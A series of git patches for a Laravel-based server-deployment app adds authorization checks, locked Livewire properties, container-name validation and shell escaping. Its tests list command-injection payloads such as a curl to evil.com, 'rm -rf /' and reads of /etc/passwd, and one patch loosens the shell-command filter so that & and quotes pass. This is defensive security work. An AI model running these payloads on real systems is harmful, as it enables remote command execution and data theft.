- 'total_images' => count($this->images),
- 'images' => $this->images,
- ]);
if (! $this->selected_server_type) {
return $this->images;
@@ -344,10 +330,7 @@ public function getAvailableImagesProperty()
$serverType = collect($this->serverTypes)->firstWhere('name', $this->selected_server_type);
- ray('Server type data', $serverType);
-
if (! $serverType || ! isset($serverType['architecture'])) {
- ray('No architecture in server type, returning all');
return $this->images;
}
@@ -359,11 +342,6 @@ public function getAvailableImagesProperty()
->values()
->toArray();
- ray('Filtered images', [
- 'architecture' => $architecture,
- 'filtered_count' => count($filtered),
- ]);
-
return $filtered;
}
@@ -386,8 +364,6 @@ public function getSelectedServerPriceProperty(): ?string
public function updatedSelectedLocation($value)
{
- ray('Location selected', $value);
-
// Reset server type and image when location changes
$this->selected_server_type = null;
$this->selected_image = null;
@@ -395,15 +371,13 @@ public function updatedSelectedLocation($value)
public function updatedSelectedServerType($value)
{
- ray('Server type selected', $value);
-
// Reset image when server type changes
$this->selected_image = null;
}
public function updatedSelectedImage($value)
{
- ray('Image selected', $value);
+ //
}
public function updatedSelectedCloudInitScriptId($value)
@@ -433,18 +407,10 @@ private function createHetznerServer(string $token): array
$publicKey = $privateKey->getPublicKey();
$md5Fingerprint = PrivateKey::generateMd5Fingerprint($privateKey->private_key);
- ray('Private Key Info', [
- 'private_key_id' => $this->private_key_id,
- 'sha256_fingerprint' => $privateKey->fingerprint,
- 'md5_fingerprint' => $md5Fingerprint,
- ]);
-
// Check if SSH key already exists on Hetzner by comparing MD5 fingerprints
$existingSshKeys = $hetznerService->getSshKeys();
$existingKey = null;
- ray('Existing SSH Keys on Hetzner', $existingSshKeys);
-
foreach ($existingSshKeys as $key) {
if ($key['fingerprint'] === $md5Fingerprint) {
$existingKey = $key;
@@ -455,12 +421,10 @@ private function createHetznerServer(string $token): array
// Upload SSH key if it doesn't exist
if ($existingKey) {
$sshKeyId = $existingKey['id'];
- ray('Using existing SSH key', ['ssh_key_id' => $sshKeyId]);
} else {
$sshKeyName = $privateKey->name;
$uploadedKey = $hetznerService->uploadSshKey($sshKeyName, $publicKey);
$sshKeyId = $uploadedKey['id'];
- ray('Uploaded new SSH key', ['ssh_key_id' => $sshKeyId, 'name' => $sshKeyName]);
}
// Normalize server name to lowercase for RFC 1123 compliance
@@ -495,13 +459,9 @@ private function createHetznerServer(string $token): array
$params['user_data'] = $this->cloud_init_script;
}
- ray('Server creation parameters', $params);
-
// Create server on Hetzner
$hetznerServer = $hetznerService->createServer($params);
- ray('Hetzner server created', $hetznerServer);
-
return $hetznerServer;
}
From 0fed553207383f384b93cba24d28122065fa67d5 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 19:33:51 +0100
Subject: [PATCH 042/118] fix(settings): require instance admin authorization
for updates page
---
app/Livewire/Settings/Updates.php | 3 ++
.../SettingsUpdatesAuthorizationTest.php | 41 +++++++++++++++++++
2 files changed, 44 insertions(+)
create mode 100644 tests/Feature/SettingsUpdatesAuthorizationTest.php
diff --git a/app/Livewire/Settings/Updates.php b/app/Livewire/Settings/Updates.php
index 01a67c38c..a200ef689 100644
--- a/app/Livewire/Settings/Updates.php
+++ b/app/Livewire/Settings/Updates.php
@@ -25,6 +25,9 @@ class Updates extends Component
public function mount()
{
+ if (! isInstanceAdmin()) {
+ return redirect()->route('dashboard');
+ }
if (! isCloud()) {
$this->server = Server::findOrFail(0);
}
diff --git a/tests/Feature/SettingsUpdatesAuthorizationTest.php b/tests/Feature/SettingsUpdatesAuthorizationTest.php
new file mode 100644
index 000000000..5a062101a
--- /dev/null
+++ b/tests/Feature/SettingsUpdatesAuthorizationTest.php
@@ -0,0 +1,41 @@
+create();
+ $user = User::factory()->create();
+ $team->members()->attach($user->id, ['role' => 'member']);
+
+ $this->actingAs($user);
+ session(['currentTeam' => ['id' => $team->id]]);
+
+ Livewire::test(Updates::class)
+ ->assertRedirect(route('dashboard'));
+});
+
+test('instance admin can access settings updates page', function () {
+ $rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
+ Server::factory()->create(['id' => 0, 'team_id' => $rootTeam->id]);
+ InstanceSettings::create(['id' => 0]);
+ Once::flush();
+
+ $user = User::factory()->create();
+ $rootTeam->members()->attach($user->id, ['role' => 'admin']);
+
+ $this->actingAs($user);
+ session(['currentTeam' => ['id' => $rootTeam->id]]);
+
+ Livewire::test(Updates::class)
+ ->assertOk()
+ ->assertNoRedirect();
+});
From d486bf09ab2da8ad78fa721a079f066c76ce08d2 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 20:21:39 +0100
Subject: [PATCH 043/118] fix(livewire): add Locked attributes and consolidate
container name validation
- Add #[Locked] to server-set properties on Import component (resourceId,
resourceType, serverId, resourceUuid, resourceDbType, container) to
prevent client-side modification via Livewire wire protocol
- Add container name validation in runImport() and restoreFromS3()
using shared ValidationPatterns::isValidContainerName()
- Scope server lookup to current team via ownedByCurrentTeam()
- Consolidate duplicate container name regex from Import,
ExecuteContainerCommand, and Terminal into shared
ValidationPatterns::isValidContainerName() static helper
- Add tests for container name validation, locked attributes, and
team-scoped server lookup
Co-Authored-By: Claude Opus 4.6
---
app/Livewire/Project/Database/Import.php | 22 ++-
.../Shared/ExecuteContainerCommand.php | 3 +-
app/Livewire/Project/Shared/Terminal.php | 3 +-
app/Support/ValidationPatterns.php | 8 ++
.../DatabaseImportCommandInjectionTest.php | 125 ++++++++++++++++++
5 files changed, 158 insertions(+), 3 deletions(-)
create mode 100644 tests/Feature/DatabaseImportCommandInjectionTest.php
diff --git a/app/Livewire/Project/Database/Import.php b/app/Livewire/Project/Database/Import.php
index 4675ab8f9..1cdc681cd 100644
--- a/app/Livewire/Project/Database/Import.php
+++ b/app/Livewire/Project/Database/Import.php
@@ -5,10 +5,12 @@
use App\Models\S3Storage;
use App\Models\Server;
use App\Models\Service;
+use App\Support\ValidationPatterns;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Storage;
use Livewire\Attributes\Computed;
+use Livewire\Attributes\Locked;
use Livewire\Component;
class Import extends Component
@@ -104,17 +106,22 @@ private function validateServerPath(string $path): bool
public bool $unsupported = false;
// Store IDs instead of models for proper Livewire serialization
+ #[Locked]
public ?int $resourceId = null;
+ #[Locked]
public ?string $resourceType = null;
+ #[Locked]
public ?int $serverId = null;
// View-friendly properties to avoid computed property access in Blade
+ #[Locked]
public string $resourceUuid = '';
public string $resourceStatus = '';
+ #[Locked]
public string $resourceDbType = '';
public array $parameters = [];
@@ -135,6 +142,7 @@ private function validateServerPath(string $path): bool
public bool $error = false;
+ #[Locked]
public string $container;
public array $importCommands = [];
@@ -181,7 +189,7 @@ public function server()
return null;
}
- return Server::find($this->serverId);
+ return Server::ownedByCurrentTeam()->find($this->serverId);
}
public function getListeners()
@@ -409,6 +417,12 @@ public function runImport(string $password = ''): bool|string
$this->authorize('update', $this->resource);
+ if (! ValidationPatterns::isValidContainerName($this->container)) {
+ $this->dispatch('error', 'Invalid container name.');
+
+ return true;
+ }
+
if ($this->filename === '') {
$this->dispatch('error', 'Please select a file to import.');
@@ -593,6 +607,12 @@ public function restoreFromS3(string $password = ''): bool|string
$this->authorize('update', $this->resource);
+ if (! ValidationPatterns::isValidContainerName($this->container)) {
+ $this->dispatch('error', 'Invalid container name.');
+
+ return true;
+ }
+
if (! $this->s3StorageId || blank($this->s3Path)) {
$this->dispatch('error', 'Please select S3 storage and provide a path first.');
diff --git a/app/Livewire/Project/Shared/ExecuteContainerCommand.php b/app/Livewire/Project/Shared/ExecuteContainerCommand.php
index df12b1d9c..4ea5e12db 100644
--- a/app/Livewire/Project/Shared/ExecuteContainerCommand.php
+++ b/app/Livewire/Project/Shared/ExecuteContainerCommand.php
@@ -5,6 +5,7 @@
use App\Models\Application;
use App\Models\Server;
use App\Models\Service;
+use App\Support\ValidationPatterns;
use Illuminate\Support\Collection;
use Livewire\Attributes\On;
use Livewire\Component;
@@ -181,7 +182,7 @@ public function connectToContainer()
}
try {
// Validate container name format
- if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/', $this->selected_container)) {
+ if (! ValidationPatterns::isValidContainerName($this->selected_container)) {
throw new \InvalidArgumentException('Invalid container name format');
}
diff --git a/app/Livewire/Project/Shared/Terminal.php b/app/Livewire/Project/Shared/Terminal.php
index ae68b2354..bbc2b3e66 100644
--- a/app/Livewire/Project/Shared/Terminal.php
+++ b/app/Livewire/Project/Shared/Terminal.php
@@ -4,6 +4,7 @@
use App\Helpers\SshMultiplexingHelper;
use App\Models\Server;
+use App\Support\ValidationPatterns;
use Livewire\Attributes\On;
use Livewire\Component;
@@ -36,7 +37,7 @@ public function sendTerminalCommand($isContainer, $identifier, $serverUuid)
if ($isContainer) {
// Validate container identifier format (alphanumeric, dashes, and underscores only)
- if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/', $identifier)) {
+ if (! ValidationPatterns::isValidContainerName($identifier)) {
throw new \InvalidArgumentException('Invalid container identifier format');
}
diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php
index 7b8251729..bc19d52a5 100644
--- a/app/Support/ValidationPatterns.php
+++ b/app/Support/ValidationPatterns.php
@@ -163,6 +163,14 @@ public static function containerNameRules(int $maxLength = 255): array
return ['string', 'max:'.$maxLength, 'regex:'.self::CONTAINER_NAME_PATTERN];
}
+ /**
+ * Check if a string is a valid Docker container name.
+ */
+ public static function isValidContainerName(string $name): bool
+ {
+ return preg_match(self::CONTAINER_NAME_PATTERN, $name) === 1;
+ }
+
/**
* Get combined validation messages for both name and description fields
*/
diff --git a/tests/Feature/DatabaseImportCommandInjectionTest.php b/tests/Feature/DatabaseImportCommandInjectionTest.php
new file mode 100644
index 000000000..f7b1bbbed
--- /dev/null
+++ b/tests/Feature/DatabaseImportCommandInjectionTest.php
@@ -0,0 +1,125 @@
+toBeTrue();
+ expect(ValidationPatterns::isValidContainerName('my_container'))->toBeTrue();
+ expect(ValidationPatterns::isValidContainerName('container123'))->toBeTrue();
+ expect(ValidationPatterns::isValidContainerName('my.container.name'))->toBeTrue();
+ expect(ValidationPatterns::isValidContainerName('a'))->toBeTrue();
+ expect(ValidationPatterns::isValidContainerName('abc-def_ghi.jkl'))->toBeTrue();
+ });
+
+ test('isValidContainerName rejects command injection payloads', function () {
+ // Command substitution
+ expect(ValidationPatterns::isValidContainerName('$(curl http://evil.com/$(whoami))'))->toBeFalse();
+ expect(ValidationPatterns::isValidContainerName('$(whoami)'))->toBeFalse();
+
+ // Backtick injection
+ expect(ValidationPatterns::isValidContainerName('`id`'))->toBeFalse();
+
+ // Semicolon chaining
+ expect(ValidationPatterns::isValidContainerName('container;rm -rf /'))->toBeFalse();
+
+ // Pipe injection
+ expect(ValidationPatterns::isValidContainerName('container|cat /etc/passwd'))->toBeFalse();
+
+ // Ampersand chaining
+ expect(ValidationPatterns::isValidContainerName('container&&env'))->toBeFalse();
+
+ // Spaces (not valid in Docker container names)
+ expect(ValidationPatterns::isValidContainerName('container name'))->toBeFalse();
+
+ // Newlines
+ expect(ValidationPatterns::isValidContainerName("container\nid"))->toBeFalse();
+
+ // Must start with alphanumeric
+ expect(ValidationPatterns::isValidContainerName('-container'))->toBeFalse();
+ expect(ValidationPatterns::isValidContainerName('.container'))->toBeFalse();
+ expect(ValidationPatterns::isValidContainerName('_container'))->toBeFalse();
+ });
+});
+
+describe('locked properties', function () {
+ test('container property has Locked attribute', function () {
+ $property = new ReflectionProperty(Import::class, 'container');
+ $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+
+ expect($attributes)->not->toBeEmpty();
+ });
+
+ test('serverId property has Locked attribute', function () {
+ $property = new ReflectionProperty(Import::class, 'serverId');
+ $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+
+ expect($attributes)->not->toBeEmpty();
+ });
+
+ test('resourceId property has Locked attribute', function () {
+ $property = new ReflectionProperty(Import::class, 'resourceId');
+ $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+
+ expect($attributes)->not->toBeEmpty();
+ });
+
+ test('resourceType property has Locked attribute', function () {
+ $property = new ReflectionProperty(Import::class, 'resourceType');
+ $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+
+ expect($attributes)->not->toBeEmpty();
+ });
+
+ test('resourceUuid property has Locked attribute', function () {
+ $property = new ReflectionProperty(Import::class, 'resourceUuid');
+ $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+
+ expect($attributes)->not->toBeEmpty();
+ });
+
+ test('resourceDbType property has Locked attribute', function () {
+ $property = new ReflectionProperty(Import::class, 'resourceDbType');
+ $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+
+ expect($attributes)->not->toBeEmpty();
+ });
+});
+
+describe('server method uses team scoping', function () {
+ test('server computed property calls ownedByCurrentTeam', function () {
+ $method = new ReflectionMethod(Import::class, 'server');
+
+ // Extract the server method body
+ $startLine = $method->getStartLine();
+ $endLine = $method->getEndLine();
+ $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
+ $methodBody = implode('', $lines);
+
+ expect($methodBody)->toContain('ownedByCurrentTeam');
+ expect($methodBody)->not->toContain('Server::find($this->serverId)');
+ });
+});
+
+describe('Import component uses shared ValidationPatterns', function () {
+ test('runImport references ValidationPatterns for container validation', function () {
+ $method = new ReflectionMethod(Import::class, 'runImport');
+ $startLine = $method->getStartLine();
+ $endLine = $method->getEndLine();
+ $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
+ $methodBody = implode('', $lines);
+
+ expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
+ });
+
+ test('restoreFromS3 references ValidationPatterns for container validation', function () {
+ $method = new ReflectionMethod(Import::class, 'restoreFromS3');
+ $startLine = $method->getStartLine();
+ $endLine = $method->getEndLine();
+ $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
+ $methodBody = implode('', $lines);
+
+ expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
+ });
+});
From e2ba44d0c39571fb5f81e512b5454dd88aca9591 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 20:27:21 +0100
Subject: [PATCH 044/118] fix(validation): allow ampersands and quotes in
shell-safe command pattern
Previously, the SHELL_SAFE_COMMAND_PATTERN was overly restrictive and blocked
legitimate characters needed for common Docker operations:
- Allow & for command chaining with && in multi-step build commands
- Allow " for build arguments with spaces (e.g., --build-arg KEY="value")
Update validation messages to reflect the new allowed operators and refactor
code to use imports instead of full class paths for better readability.
---
app/Livewire/Project/Application/General.php | 23 ++++++++++--------
app/Support/ValidationPatterns.php | 8 ++++---
.../Feature/CommandInjectionSecurityTest.php | 24 ++++++++++---------
3 files changed, 31 insertions(+), 24 deletions(-)
diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php
index ca1daef72..5c186af70 100644
--- a/app/Livewire/Project/Application/General.php
+++ b/app/Livewire/Project/Application/General.php
@@ -3,11 +3,14 @@
namespace App\Livewire\Project\Application;
use App\Actions\Application\GenerateConfig;
+use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Support\ValidationPatterns;
+use Illuminate\Auth\Access\AuthorizationException;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Support\Collection;
use Livewire\Component;
+use Livewire\Features\SupportEvents\Event;
use Spatie\Url\Url;
use Visus\Cuid2\Cuid2;
@@ -194,9 +197,9 @@ protected function messages(): array
'baseDirectory.regex' => 'The base directory must be a valid path starting with / and containing only safe characters.',
'publishDirectory.regex' => 'The publish directory must be a valid path starting with / and containing only safe characters.',
'dockerfileTargetBuild.regex' => 'The Dockerfile target build must contain only alphanumeric characters, dots, hyphens, and underscores.',
- 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
- 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
- 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
+ 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
+ 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
+ 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
'name.required' => 'The Name field is required.',
@@ -288,7 +291,7 @@ public function mount()
$this->authorize('update', $this->application);
$this->application->fqdn = null;
$this->application->settings->save();
- } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ } catch (AuthorizationException $e) {
// User doesn't have update permission, just continue without saving
}
}
@@ -309,7 +312,7 @@ public function mount()
$this->customLabels = str(implode('|coolify|', generateLabelsApplication($this->application)))->replace('|coolify|', "\n");
$this->application->custom_labels = base64_encode($this->customLabels);
$this->application->save();
- } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ } catch (AuthorizationException $e) {
// User doesn't have update permission, just use existing labels
// $this->customLabels = str(implode('|coolify|', generateLabelsApplication($this->application)))->replace('|coolify|', "\n");
}
@@ -321,7 +324,7 @@ public function mount()
$this->authorize('update', $this->application);
$this->initLoadingCompose = true;
$this->dispatch('info', 'Loading docker compose file.');
- } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ } catch (AuthorizationException $e) {
// User doesn't have update permission, skip loading compose file
}
}
@@ -587,7 +590,7 @@ public function updatedBuildPack()
// Check if user has permission to update
try {
$this->authorize('update', $this->application);
- } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ } catch (AuthorizationException $e) {
// User doesn't have permission, revert the change and return
$this->application->refresh();
$this->syncData();
@@ -612,7 +615,7 @@ public function updatedBuildPack()
$this->fqdn = null;
$this->application->fqdn = null;
$this->application->settings->save();
- } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ } catch (AuthorizationException $e) {
// User doesn't have update permission, just continue without saving
}
}
@@ -809,7 +812,7 @@ public function submit($showToaster = true)
restoreBaseDirectory: $oldBaseDirectory,
restoreDockerComposeLocation: $oldDockerComposeLocation
);
- if ($compose_return instanceof \Livewire\Features\SupportEvents\Event) {
+ if ($compose_return instanceof Event) {
// Validation failed - restore original values to component properties
$this->baseDirectory = $oldBaseDirectory;
$this->dockerComposeLocation = $oldDockerComposeLocation;
@@ -939,7 +942,7 @@ public function getDockerComposeBuildCommandPreviewProperty(): string
$command = injectDockerComposeFlags(
$this->dockerComposeCustomBuildCommand,
".{$normalizedBase}{$this->dockerComposeLocation}",
- \App\Jobs\ApplicationDeploymentJob::BUILD_TIME_ENV_PATH
+ ApplicationDeploymentJob::BUILD_TIME_ENV_PATH
);
// Inject build args if not using build secrets
diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php
index bc19d52a5..27789b506 100644
--- a/app/Support/ValidationPatterns.php
+++ b/app/Support/ValidationPatterns.php
@@ -37,11 +37,13 @@ class ValidationPatterns
/**
* Pattern for shell-safe command strings (docker compose commands, docker run options)
- * Blocks dangerous shell metacharacters: ; & | ` $ ( ) > < newlines and carriage returns
- * Also blocks backslashes, single quotes, and double quotes to prevent escape-sequence attacks
+ * Blocks dangerous shell metacharacters: ; | ` $ ( ) > < newlines and carriage returns
+ * Allows & for command chaining (&&) which is common in multi-step build commands
+ * Allows double quotes for build args with spaces (e.g. --build-arg KEY="value")
+ * Blocks backslashes and single quotes to prevent escape-sequence attacks
* Uses [ \t] instead of \s to explicitly exclude \n and \r (which act as command separators)
*/
- public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~]+$/';
+ public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~&"]+$/';
/**
* Pattern for Docker container names
diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php
index 12a24f42c..cfa363e79 100644
--- a/tests/Feature/CommandInjectionSecurityTest.php
+++ b/tests/Feature/CommandInjectionSecurityTest.php
@@ -1,6 +1,7 @@
toBeArray();
- expect($merged['docker_compose_location'])->toContain('regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN);
+ expect($merged['docker_compose_location'])->toContain('regex:'.ValidationPatterns::FILE_PATH_PATTERN);
});
});
@@ -285,7 +286,7 @@
$job = new ReflectionClass(ApplicationDeploymentJob::class);
// Test that validateShellSafeCommand is also available as a pattern
- $pattern = \App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN;
+ $pattern = ValidationPatterns::DOCKER_TARGET_PATTERN;
expect(preg_match($pattern, 'production'))->toBe(1);
expect(preg_match($pattern, 'build; env'))->toBe(0);
expect(preg_match($pattern, 'target`whoami`'))->toBe(0);
@@ -364,15 +365,15 @@
expect($validator->fails())->toBeTrue();
});
- test('rejects ampersand chaining in docker_compose_custom_start_command', function () {
+ test('allows ampersand chaining in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
- ['docker_compose_custom_start_command' => 'docker compose up && rm -rf /'],
+ ['docker_compose_custom_start_command' => 'docker compose up && docker compose logs'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
- expect($validator->fails())->toBeTrue();
+ expect($validator->fails())->toBeFalse();
});
test('rejects command substitution in docker_compose_custom_build_command', function () {
@@ -399,6 +400,7 @@
'docker compose build',
'docker compose up -d --build',
'docker compose -f custom.yml build --no-cache',
+ 'docker compose build && docker tag registry.example.com/app:beta localhost:5000/app:beta && docker push localhost:5000/app:beta',
]);
test('rejects backslash in docker_compose_custom_start_command', function () {
@@ -423,15 +425,15 @@
expect($validator->fails())->toBeTrue();
});
- test('rejects double quotes in docker_compose_custom_start_command', function () {
+ test('allows double quotes in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
- ['docker_compose_custom_start_command' => 'docker compose up -d --build "malicious"'],
+ ['docker_compose_custom_start_command' => 'docker compose up -d --build --build-arg VERSION="1.0.0"'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
- expect($validator->fails())->toBeTrue();
+ expect($validator->fails())->toBeFalse();
});
test('rejects newline injection in docker_compose_custom_start_command', function () {
@@ -564,7 +566,7 @@
expect($merged)->toHaveKey('dockerfile_target_build');
expect($merged['dockerfile_target_build'])->toBeArray();
- expect($merged['dockerfile_target_build'])->toContain('regex:'.\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN);
+ expect($merged['dockerfile_target_build'])->toContain('regex:'.ValidationPatterns::DOCKER_TARGET_PATTERN);
});
});
@@ -582,7 +584,7 @@
$merged = array_merge($sharedRules, $localRules);
expect($merged['docker_compose_custom_start_command'])->toBeArray();
- expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
+ expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () {
@@ -595,7 +597,7 @@
$merged = array_merge($sharedRules, $localRules);
expect($merged['docker_compose_custom_build_command'])->toBeArray();
- expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
+ expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
});
From ae31111813b0b5cbf3e148dd0b6975c046947110 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 20:42:00 +0100
Subject: [PATCH 045/118] fix(livewire): add input validation to unmanaged
container operations
Add container name validation and shell argument escaping to
startUnmanaged, stopUnmanaged, restartUnmanaged, and restartContainer
methods, consistent with existing patterns used elsewhere in the
codebase.
Co-Authored-By: Claude Opus 4.6
---
app/Livewire/Server/Resources.php | 16 +++++++++++
app/Models/Server.php | 14 ++++++----
...UnmanagedContainerCommandInjectionTest.php | 28 +++++++++++++++++++
3 files changed, 52 insertions(+), 6 deletions(-)
create mode 100644 tests/Unit/UnmanagedContainerCommandInjectionTest.php
diff --git a/app/Livewire/Server/Resources.php b/app/Livewire/Server/Resources.php
index a21b0372b..3710064dc 100644
--- a/app/Livewire/Server/Resources.php
+++ b/app/Livewire/Server/Resources.php
@@ -3,6 +3,7 @@
namespace App\Livewire\Server;
use App\Models\Server;
+use App\Support\ValidationPatterns;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component;
@@ -29,6 +30,11 @@ public function getListeners()
public function startUnmanaged($id)
{
+ if (! ValidationPatterns::isValidContainerName($id)) {
+ $this->dispatch('error', 'Invalid container identifier.');
+
+ return;
+ }
$this->server->startUnmanaged($id);
$this->dispatch('success', 'Container started.');
$this->loadUnmanagedContainers();
@@ -36,6 +42,11 @@ public function startUnmanaged($id)
public function restartUnmanaged($id)
{
+ if (! ValidationPatterns::isValidContainerName($id)) {
+ $this->dispatch('error', 'Invalid container identifier.');
+
+ return;
+ }
$this->server->restartUnmanaged($id);
$this->dispatch('success', 'Container restarted.');
$this->loadUnmanagedContainers();
@@ -43,6 +54,11 @@ public function restartUnmanaged($id)
public function stopUnmanaged($id)
{
+ if (! ValidationPatterns::isValidContainerName($id)) {
+ $this->dispatch('error', 'Invalid container identifier.');
+
+ return;
+ }
$this->server->stopUnmanaged($id);
$this->dispatch('success', 'Container stopped.');
$this->loadUnmanagedContainers();
diff --git a/app/Models/Server.php b/app/Models/Server.php
index ce877bd20..9237763c8 100644
--- a/app/Models/Server.php
+++ b/app/Models/Server.php
@@ -11,7 +11,9 @@
use App\Events\ServerReachabilityChanged;
use App\Helpers\SslHelper;
use App\Jobs\CheckAndStartSentinelJob;
+use App\Jobs\CheckTraefikVersionForServerJob;
use App\Jobs\RegenerateSslCertJob;
+use App\Livewire\Server\Proxy;
use App\Notifications\Server\Reachable;
use App\Notifications\Server\Unreachable;
use App\Services\ConfigurationRepository;
@@ -77,8 +79,8 @@
* - Traefik image uses the 'latest' tag (no fixed version tracking)
* - No Traefik version detected on the server
*
- * @see \App\Jobs\CheckTraefikVersionForServerJob Where this data is populated
- * @see \App\Livewire\Server\Proxy Where this data is read and displayed
+ * @see CheckTraefikVersionForServerJob Where this data is populated
+ * @see Proxy Where this data is read and displayed
*/
#[OA\Schema(
description: 'Server model',
@@ -719,17 +721,17 @@ public function definedResources()
public function stopUnmanaged($id)
{
- return instant_remote_process(["docker stop -t 0 $id"], $this);
+ return instant_remote_process(['docker stop -t 0 '.escapeshellarg($id)], $this);
}
public function restartUnmanaged($id)
{
- return instant_remote_process(["docker restart $id"], $this);
+ return instant_remote_process(['docker restart '.escapeshellarg($id)], $this);
}
public function startUnmanaged($id)
{
- return instant_remote_process(["docker start $id"], $this);
+ return instant_remote_process(['docker start '.escapeshellarg($id)], $this);
}
public function getContainers()
@@ -1460,7 +1462,7 @@ public function url()
public function restartContainer(string $containerName)
{
- return instant_remote_process(['docker restart '.$containerName], $this, false);
+ return instant_remote_process(['docker restart '.escapeshellarg($containerName)], $this, false);
}
public function changeProxy(string $proxyType, bool $async = true)
diff --git a/tests/Unit/UnmanagedContainerCommandInjectionTest.php b/tests/Unit/UnmanagedContainerCommandInjectionTest.php
new file mode 100644
index 000000000..cf3e5ebea
--- /dev/null
+++ b/tests/Unit/UnmanagedContainerCommandInjectionTest.php
@@ -0,0 +1,28 @@
+toBeFalse();
+})->with([
+ 'semicolon injection' => 'x; id > /tmp/pwned',
+ 'pipe injection' => 'x | cat /etc/passwd',
+ 'command substitution backtick' => 'x`whoami`',
+ 'command substitution dollar' => 'x$(whoami)',
+ 'ampersand background' => 'x & rm -rf /',
+ 'double ampersand' => 'x && curl attacker.com',
+ 'newline injection' => "x\nid",
+ 'space injection' => 'x id',
+ 'redirect output' => 'x > /tmp/pwned',
+ 'redirect input' => 'x < /etc/passwd',
+]);
+
+it('accepts valid Docker container IDs', function (string $id) {
+ expect(ValidationPatterns::isValidContainerName($id))->toBeTrue();
+})->with([
+ 'short hex id' => 'abc123def456',
+ 'full sha256 id' => 'a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2',
+ 'container name' => 'my-container',
+ 'name with dots' => 'my.container.name',
+ 'name with underscores' => 'my_container_name',
+]);
From 6f163ddf02991fb8fd8bc17fdcecddc318b813c6 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 20:57:17 +0100
Subject: [PATCH 046/118] fix(deployment): normalize whitespace in pre/post
deployment commands
Ensure pre_deployment_command and post_deployment_command have consistent
whitespace handling, matching the existing pattern used for health_check_command.
Adds regression tests for the normalization behavior.
Co-Authored-By: Claude Opus 4.6
---
app/Jobs/ApplicationDeploymentJob.php | 38 ++++++----
.../DeploymentCommandNewlineInjectionTest.php | 74 +++++++++++++++++++
2 files changed, 96 insertions(+), 16 deletions(-)
